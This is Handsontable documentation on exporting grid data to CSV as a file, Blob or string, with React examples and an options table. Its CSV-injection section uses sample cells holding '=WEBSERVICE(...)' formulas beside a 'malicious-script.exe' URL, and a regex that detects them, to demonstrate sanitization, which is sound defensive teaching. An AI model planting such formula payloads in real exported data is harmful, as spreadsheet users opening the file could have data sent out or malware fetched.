Export to CSV

Export your grid’s raw data to the CSV format, as a downloadable file, a blob, or a string. Customize your export using Handsontable’s configuration options.

Examples

Mind that CSV exports contain only raw data, and don’t include formulas, styling, or formatting information.

Export to file

1
import { useRef } from 'react';
2
import { HotTable } from '@handsontable/react-wrapper';
3
import { registerAllModules } from 'handsontable/registry';
4

5
// register Handsontable's modules
6
registerAllModules();
7

8
const ExampleComponent = () => {
9
  const hotRef = useRef(null);
10
  const buttonClickCallback = () => {
11
    const hot = hotRef.current?.hotInstance;
12
    const exportPlugin = hot?.getPlugin('exportFile');
13

14
    exportPlugin?.downloadFile('csv', {
15
      bom: false,
16
      columnDelimiter: ',',
17
      columnHeaders: false,
18
      exportHiddenColumns: true,
19
      exportHiddenRows: true,
20
      fileExtension: 'csv',
21
      filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
22
      mimeType: 'text/csv',
23
      rowDelimiter: '\r\n',
24
      rowHeaders: true,
25
    });
26
  };
27

28
  return (
29
    <>
30
      <div className="example-controls-container">
31
        <div className="controls">
32
          <button id="export-file" onClick={() => buttonClickCallback()}>
33
            Download CSV
34
          </button>
35
        </div>
36
      </div>
37
      <HotTable
38
        ref={hotRef}
39
        data={[
40
          ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
41
          ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
42
          ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
43
          ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
44
          ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
45
          ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
46
          ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
47
        ]}
48
        colHeaders={true}
49
        rowHeaders={true}
50
        hiddenRows={{ rows: [1, 3, 5], indicators: true }}
51
        hiddenColumns={{ columns: [1, 3, 5], indicators: true }}
52
        height="auto"
53
        autoWrapRow={true}
54
        autoWrapCol={true}
55
        licenseKey="non-commercial-and-evaluation"
56
      />
57
    </>
58
  );
59
};
60

61
export default ExampleComponent;

1
import { useRef } from 'react';
2
import { HotTable, HotTableRef } from '@handsontable/react-wrapper';
3
import { registerAllModules } from 'handsontable/registry';
4

5
// register Handsontable's modules
6
registerAllModules();
7

8
const ExampleComponent = () => {
9
  const hotRef = useRef<HotTableRef>(null);
10

11
  const buttonClickCallback = () => {
12
    const hot = hotRef.current?.hotInstance;
13
    const exportPlugin = hot?.getPlugin('exportFile');
14

15
    exportPlugin?.downloadFile('csv', {
16
      bom: false,
17
      columnDelimiter: ',',
18
      columnHeaders: false,
19
      exportHiddenColumns: true,
20
      exportHiddenRows: true,
21
      fileExtension: 'csv',
22
      filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
23
      mimeType: 'text/csv',
24
      rowDelimiter: '\r\n',
25
      rowHeaders: true,
26
    });
27
  };
28

29
  return (
30
    <>
31
      <div className="example-controls-container">
32
        <div className="controls">
33
          <button id="export-file" onClick={() => buttonClickCallback()}>
34
            Download CSV
35
          </button>
36
        </div>
37
      </div>
38
      <HotTable
39
        ref={hotRef}
40
        data={[
41
          ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
42
          ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
43
          ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
44
          ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
45
          ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
46
          ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
47
          ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
48
        ]}
49
        colHeaders={true}
50
        rowHeaders={true}
51
        hiddenRows={{ rows: [1, 3, 5], indicators: true }}
52
        hiddenColumns={{ columns: [1, 3, 5], indicators: true }}
53
        height="auto"
54
        autoWrapRow={true}
55
        autoWrapCol={true}
56
        licenseKey="non-commercial-and-evaluation"
57
      />
58
    </>
59
  );
60
};
61

62
export default ExampleComponent;

Export as a JavaScript Blob object

Open a console in browser developer tools to see the result for the below example.

1
import { useRef } from 'react';
2
import { HotTable } from '@handsontable/react-wrapper';
3
import { registerAllModules } from 'handsontable/registry';
4

5
// register Handsontable's modules
6
registerAllModules();
7

8
const ExampleComponent = () => {
9
  const hotRef = useRef(null);
10
  const buttonClickCallback = () => {
11
    const hot = hotRef.current?.hotInstance;
12
    const exportPlugin = hot?.getPlugin('exportFile');
13
    const exportedBlob = exportPlugin?.exportAsBlob('csv', {
14
      bom: false,
15
      columnDelimiter: ',',
16
      columnHeaders: false,
17
      exportHiddenColumns: true,
18
      exportHiddenRows: true,
19
      mimeType: 'text/csv',
20
      rowDelimiter: '\r\n',
21
      rowHeaders: true,
22
    });
23

24
    console.log(exportedBlob);
25
  };
26

27
  return (
28
    <>
29
      <div className="controls">
30
        <button id="export-blob" onClick={() => buttonClickCallback()}>
31
          Export as a Blob
32
        </button>
33
      </div>
34
      <HotTable
35
        ref={hotRef}
36
        data={[
37
          ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
38
          ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
39
          ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
40
          ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
41
          ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
42
          ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
43
          ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
44
        ]}
45
        colHeaders={true}
46
        rowHeaders={true}
47
        hiddenRows={{ rows: [1, 3, 5], indicators: true }}
48
        hiddenColumns={{ columns: [1, 3, 5], indicators: true }}
49
        height="auto"
50
        autoWrapRow={true}
51
        autoWrapCol={true}
52
        licenseKey="non-commercial-and-evaluation"
53
      />
54
    </>
55
  );
56
};
57

58
export default ExampleComponent;

1
import { useRef } from 'react';
2
import { HotTable, HotTableRef } from '@handsontable/react-wrapper';
3
import { registerAllModules } from 'handsontable/registry';
4

5
// register Handsontable's modules
6
registerAllModules();
7

8
const ExampleComponent = () => {
9
  const hotRef = useRef<HotTableRef>(null);
10

11
  const buttonClickCallback = () => {
12
    const hot = hotRef.current?.hotInstance;
13
    const exportPlugin = hot?.getPlugin('exportFile');
14
    const exportedBlob = exportPlugin?.exportAsBlob('csv', {
15
      bom: false,
16
      columnDelimiter: ',',
17
      columnHeaders: false,
18
      exportHiddenColumns: true,
19
      exportHiddenRows: true,
20
      mimeType: 'text/csv',
21
      rowDelimiter: '\r\n',
22
      rowHeaders: true,
23
    });
24

25
    console.log(exportedBlob);
26
  };
27

28
  return (
29
    <>
30
      <div className="controls">
31
        <button id="export-blob" onClick={() => buttonClickCallback()}>
32
          Export as a Blob
33
        </button>
34
      </div>
35
      <HotTable
36
        ref={hotRef}
37
        data={[
38
          ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
39
          ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
40
          ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
41
          ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
42
          ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
43
          ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
44
          ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
45
        ]}
46
        colHeaders={true}
47
        rowHeaders={true}
48
        hiddenRows={{ rows: [1, 3, 5], indicators: true }}
49
        hiddenColumns={{ columns: [1, 3, 5], indicators: true }}
50
        height="auto"
51
        autoWrapRow={true}
52
        autoWrapCol={true}
53
        licenseKey="non-commercial-and-evaluation"
54
      />
55
    </>
56
  );
57
};
58

59
export default ExampleComponent;

Export as a string

Open a console in browser developer tools to see the result for the below example.

1
import { useRef } from 'react';
2
import { HotTable } from '@handsontable/react-wrapper';
3
import { registerAllModules } from 'handsontable/registry';
4

5
// register Handsontable's modules
6
registerAllModules();
7

8
const ExampleComponent = () => {
9
  const hotRef = useRef(null);
10
  const buttonClickCallback = () => {
11
    const hot = hotRef.current?.hotInstance;
12
    const exportPlugin = hot?.getPlugin('exportFile');
13
    const exportedString = exportPlugin?.exportAsString('csv', {
14
      bom: false,
15
      columnDelimiter: ',',
16
      columnHeaders: false,
17
      exportHiddenColumns: true,
18
      exportHiddenRows: true,
19
      rowDelimiter: '\r\n',
20
      rowHeaders: true,
21
    });
22

23
    console.log(exportedString);
24
  };
25

26
  return (
27
    <>
28
      <div className="controls">
29
        <button id="export-string" onClick={() => buttonClickCallback()}>
30
          Export as a string
31
        </button>
32
      </div>
33
      <HotTable
34
        ref={hotRef}
35
        data={[
36
          ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
37
          ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
38
          ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
39
          ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
40
          ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
41
          ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
42
          ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
43
        ]}
44
        colHeaders={true}
45
        rowHeaders={true}
46
        hiddenRows={{ rows: [1, 3, 5], indicators: true }}
47
        hiddenColumns={{ columns: [1, 3, 5], indicators: true }}
48
        height="auto"
49
        autoWrapRow={true}
50
        autoWrapCol={true}
51
        licenseKey="non-commercial-and-evaluation"
52
      />
53
    </>
54
  );
55
};
56

57
export default ExampleComponent;

1
import { useRef } from 'react';
2
import { HotTable, HotTableRef } from '@handsontable/react-wrapper';
3
import { registerAllModules } from 'handsontable/registry';
4

5
// register Handsontable's modules
6
registerAllModules();
7

8
const ExampleComponent = () => {
9
  const hotRef = useRef<HotTableRef>(null);
10

11
  const buttonClickCallback = () => {
12
    const hot = hotRef.current?.hotInstance;
13
    const exportPlugin = hot?.getPlugin('exportFile');
14
    const exportedString = exportPlugin?.exportAsString('csv', {
15
      bom: false,
16
      columnDelimiter: ',',
17
      columnHeaders: false,
18
      exportHiddenColumns: true,
19
      exportHiddenRows: true,
20
      rowDelimiter: '\r\n',
21
      rowHeaders: true,
22
    });
23

24
    console.log(exportedString);
25
  };
26

27
  return (
28
    <>
29
      <div className="controls">
30
        <button id="export-string" onClick={() => buttonClickCallback()}>
31
          Export as a string
32
        </button>
33
      </div>
34
      <HotTable
35
        ref={hotRef}
36
        data={[
37
          ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
38
          ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
39
          ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
40
          ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
41
          ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
42
          ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
43
          ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
44
        ]}
45
        colHeaders={true}
46
        rowHeaders={true}
47
        hiddenRows={{ rows: [1, 3, 5], indicators: true }}
48
        hiddenColumns={{ columns: [1, 3, 5], indicators: true }}
49
        height="auto"
50
        autoWrapRow={true}
51
        autoWrapCol={true}
52
        licenseKey="non-commercial-and-evaluation"
53
      />
54
    </>
55
  );
56
};
57

58
export default ExampleComponent;

Prevent CSV Injection attack

“CSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files. When a spreadsheet program such as Microsoft Excel or LibreOffice Calc is used to open a CSV, any cells starting with = will be interpreted by the software as a formula.” (from OWASP website)

To prevent this attack, set the sanitizeValues option when exporting your data in CSV format.

1
import { useRef } from 'react';
2
import { HotTable } from '@handsontable/react-wrapper';
3
import { registerAllModules } from 'handsontable/registry';
4

5
// register Handsontable's modules
6
registerAllModules();
7

8
const ExampleComponent = () => {
9
  const hotRef = useRef(null);
10
  const downloadWithNoSanitizationCallback = () => {
11
    const hot = hotRef.current?.hotInstance;
12
    const exportPlugin = hot?.getPlugin('exportFile');
13

14
    exportPlugin?.downloadFile('csv', {
15
      bom: false,
16
      columnDelimiter: ',',
17
      columnHeaders: false,
18
      exportHiddenColumns: true,
19
      exportHiddenRows: true,
20
      fileExtension: 'csv',
21
      filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
22
      mimeType: 'text/csv',
23
      rowDelimiter: '\r\n',
24
    });
25
  };
26

27
  const downloadWithRecommendedSanitizationCallback = () => {
28
    const hot = hotRef.current?.hotInstance;
29
    const exportPlugin = hot?.getPlugin('exportFile');
30

31
    exportPlugin?.downloadFile('csv', {
32
      bom: false,
33
      columnDelimiter: ',',
34
      columnHeaders: false,
35
      exportHiddenColumns: true,
36
      exportHiddenRows: true,
37
      fileExtension: 'csv',
38
      filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
39
      mimeType: 'text/csv',
40
      rowDelimiter: '\r\n',
41
      sanitizeValues: true,
42
    });
43
  };
44

45
  const downloadWithRegexpSanitizationCallback = () => {
46
    const hot = hotRef.current?.hotInstance;
47
    const exportPlugin = hot?.getPlugin('exportFile');
48

49
    exportPlugin?.downloadFile('csv', {
50
      bom: false,
51
      columnDelimiter: ',',
52
      columnHeaders: false,
53
      exportHiddenColumns: true,
54
      exportHiddenRows: true,
55
      fileExtension: 'csv',
56
      filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
57
      mimeType: 'text/csv',
58
      rowDelimiter: '\r\n',
59
      sanitizeValues: /WEBSERVICE/,
60
    });
61
  };
62

63
  const downloadWithFunctionSanitizationCallback = () => {
64
    const hot = hotRef.current?.hotInstance;
65
    const exportPlugin = hot?.getPlugin('exportFile');
66

67
    exportPlugin?.downloadFile('csv', {
68
      bom: false,
69
      columnDelimiter: ',',
70
      columnHeaders: false,
71
      exportHiddenColumns: true,
72
      exportHiddenRows: true,
73
      fileExtension: 'csv',
74
      filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
75
      mimeType: 'text/csv',
76
      rowDelimiter: '\r\n',
77
      sanitizeValues: (value) => {
78
        return /WEBSERVICE/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;
79
      },
80
    });
81
  };
82

83
  return (
84
    <>
85
      <div className="example-controls-container">
86
        <div className="controls">
87
          <button onClick={() => downloadWithNoSanitizationCallback()}>Download CSV with no sanitization</button>
88
          <button onClick={() => downloadWithRecommendedSanitizationCallback()}>
89
            Download CSV with recommended sanitization
90
          </button>
91
          <button onClick={() => downloadWithRegexpSanitizationCallback()}>
92
            Download CSV with sanitization using a regexp
93
          </button>
94
          <button onClick={() => downloadWithFunctionSanitizationCallback()}>
95
            Download CSV with sanitization using a function
96
          </button>
97
        </div>
98
      </div>
99
      <HotTable
100
        ref={hotRef}
101
        data={[
102
          ['https://handsontable.com', '=WEBSERVICE(A1)'],
103
          ['https://github.com', '=WEBSERVICE(A2)'],
104
          ['http://example.com/malicious-script.exe', '=WEBSERVICE(A3)'],
105
        ]}
106
        colHeaders={true}
107
        rowHeaders={true}
108
        height="auto"
109
        autoWrapRow={true}
110
        autoWrapCol={true}
111
        licenseKey="non-commercial-and-evaluation"
112
      />
113
    </>
114
  );
115
};
116

117
export default ExampleComponent;

1
import { useRef } from 'react';
2
import { HotTable, HotTableRef } from '@handsontable/react-wrapper';
3
import { registerAllModules } from 'handsontable/registry';
4

5
// register Handsontable's modules
6
registerAllModules();
7

8
const ExampleComponent = () => {
9
  const hotRef = useRef<HotTableRef>(null);
10

11
  const downloadWithNoSanitizationCallback = () => {
12
    const hot = hotRef.current?.hotInstance;
13
    const exportPlugin = hot?.getPlugin('exportFile');
14

15
    exportPlugin?.downloadFile('csv', {
16
      bom: false,
17
      columnDelimiter: ',',
18
      columnHeaders: false,
19
      exportHiddenColumns: true,
20
      exportHiddenRows: true,
21
      fileExtension: 'csv',
22
      filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
23
      mimeType: 'text/csv',
24
      rowDelimiter: '\r\n',
25
    });
26
  };
27

28
  const downloadWithRecommendedSanitizationCallback = () => {
29
    const hot = hotRef.current?.hotInstance;
30
    const exportPlugin = hot?.getPlugin('exportFile');
31

32
    exportPlugin?.downloadFile('csv', {
33
      bom: false,
34
      columnDelimiter: ',',
35
      columnHeaders: false,
36
      exportHiddenColumns: true,
37
      exportHiddenRows: true,
38
      fileExtension: 'csv',
39
      filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
40
      mimeType: 'text/csv',
41
      rowDelimiter: '\r\n',
42
      sanitizeValues: true,
43
    });
44
  };
45

46
  const downloadWithRegexpSanitizationCallback = () => {
47
    const hot = hotRef.current?.hotInstance;
48
    const exportPlugin = hot?.getPlugin('exportFile');
49

50
    exportPlugin?.downloadFile('csv', {
51
      bom: false,
52
      columnDelimiter: ',',
53
      columnHeaders: false,
54
      exportHiddenColumns: true,
55
      exportHiddenRows: true,
56
      fileExtension: 'csv',
57
      filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
58
      mimeType: 'text/csv',
59
      rowDelimiter: '\r\n',
60
      sanitizeValues: /WEBSERVICE/,
61
    });
62
  };
63

64
  const downloadWithFunctionSanitizationCallback = () => {
65
    const hot = hotRef.current?.hotInstance;
66
    const exportPlugin = hot?.getPlugin('exportFile');
67

68
    exportPlugin?.downloadFile('csv', {
69
      bom: false,
70
      columnDelimiter: ',',
71
      columnHeaders: false,
72
      exportHiddenColumns: true,
73
      exportHiddenRows: true,
74
      fileExtension: 'csv',
75
      filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
76
      mimeType: 'text/csv',
77
      rowDelimiter: '\r\n',
78
      sanitizeValues: (value) => {
79
        return /WEBSERVICE/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;
80
      },
81
    });
82
  };
83

84
  return (
85
    <>
86
      <div className="example-controls-container">
87
        <div className="controls">
88
          <button onClick={() => downloadWithNoSanitizationCallback()}>Download CSV with no sanitization</button>
89
          <button onClick={() => downloadWithRecommendedSanitizationCallback()}>
90
            Download CSV with recommended sanitization
91
          </button>
92
          <button onClick={() => downloadWithRegexpSanitizationCallback()}>
93
            Download CSV with sanitization using a regexp
94
          </button>
95
          <button onClick={() => downloadWithFunctionSanitizationCallback()}>
96
            Download CSV with sanitization using a function
97
          </button>
98
        </div>
99
      </div>
100
      <HotTable
101
        ref={hotRef}
102
        data={[
103
          ['https://handsontable.com', '=WEBSERVICE(A1)'],
104
          ['https://github.com', '=WEBSERVICE(A2)'],
105
          ['http://example.com/malicious-script.exe', '=WEBSERVICE(A3)'],
106
        ]}
107
        colHeaders={true}
108
        rowHeaders={true}
109
        height="auto"
110
        autoWrapRow={true}
111
        autoWrapCol={true}
112
        licenseKey="non-commercial-and-evaluation"
113
      />
114
    </>
115
  );
116
};
117

118
export default ExampleComponent;

Available methods

The plugin exposes the following methods to export data.

downloadFile(format, options) - generates a downloadable file directly in the browser. Synchronous; supports text-based formats only (e.g. CSV). For XLSX, use downloadFileAsync.
downloadFileAsync(format, options) - generates a downloadable file and returns a Promise. Supports all formats including XLSX.
exportAsBlob(format, options) - allows you to export a JavaScript Blob object.
exportAsString(format, options) - allows you to export data as a string. Supports text-based formats only (e.g. CSV).

Each method takes two parameters. The first, format, is required. The second, options, is an optional object that overrides or extends the default export configuration. The table below lists all supported options for CSV export.

Available options in the export configuration

Property	Type / Default	Description
`bom`	`Boolean`, default `true`	Prepend output with BOM (UTF-8). Browser uses EF BB BF.
`columnDelimiter`	`String`, default `','`	Column delimiter.
`columnHeaders`	`Boolean`, default `false`	Include column headers. Does not support the NestedHeaders plugin.
`exportHiddenColumns`	`Boolean`, default `false`	Include hidden columns.
`exportHiddenRows`	`Boolean`, default `false`	Include hidden rows.
`fileExtension`	`String`, default `'csv'`	File extension. Used by `downloadFile()`.
`filename`	`String`, default `'Handsontable [YYYY]-[MM]-[DD]'`	File name. Placeholders `[YYYY]`, `[MM]`, `[DD]` are replaced with the current date. Used by `downloadFile()`.
`mimeType`	`String`, default `'text/csv'`	MIME type. Used by `downloadFile()` and `exportAsBlob()`.
`range`	`Array`, default `[]`	Cell range to export: `[startRow, startColumn, endRow, endColumn]` (visual indexes).
`rowDelimiter`	`String`, default `'\r\n'`	Row delimiter.
`rowHeaders`	`Boolean`, default `false`	Include row headers.
`sanitizeValues`	`Boolean` \| `RegExp` \| `Function`, default `false`	Value sanitization. `true` = OWASP CSV injection rules; `RegExp` = escape matching values; `Function` = replace with return value.

Plugins

ExportFile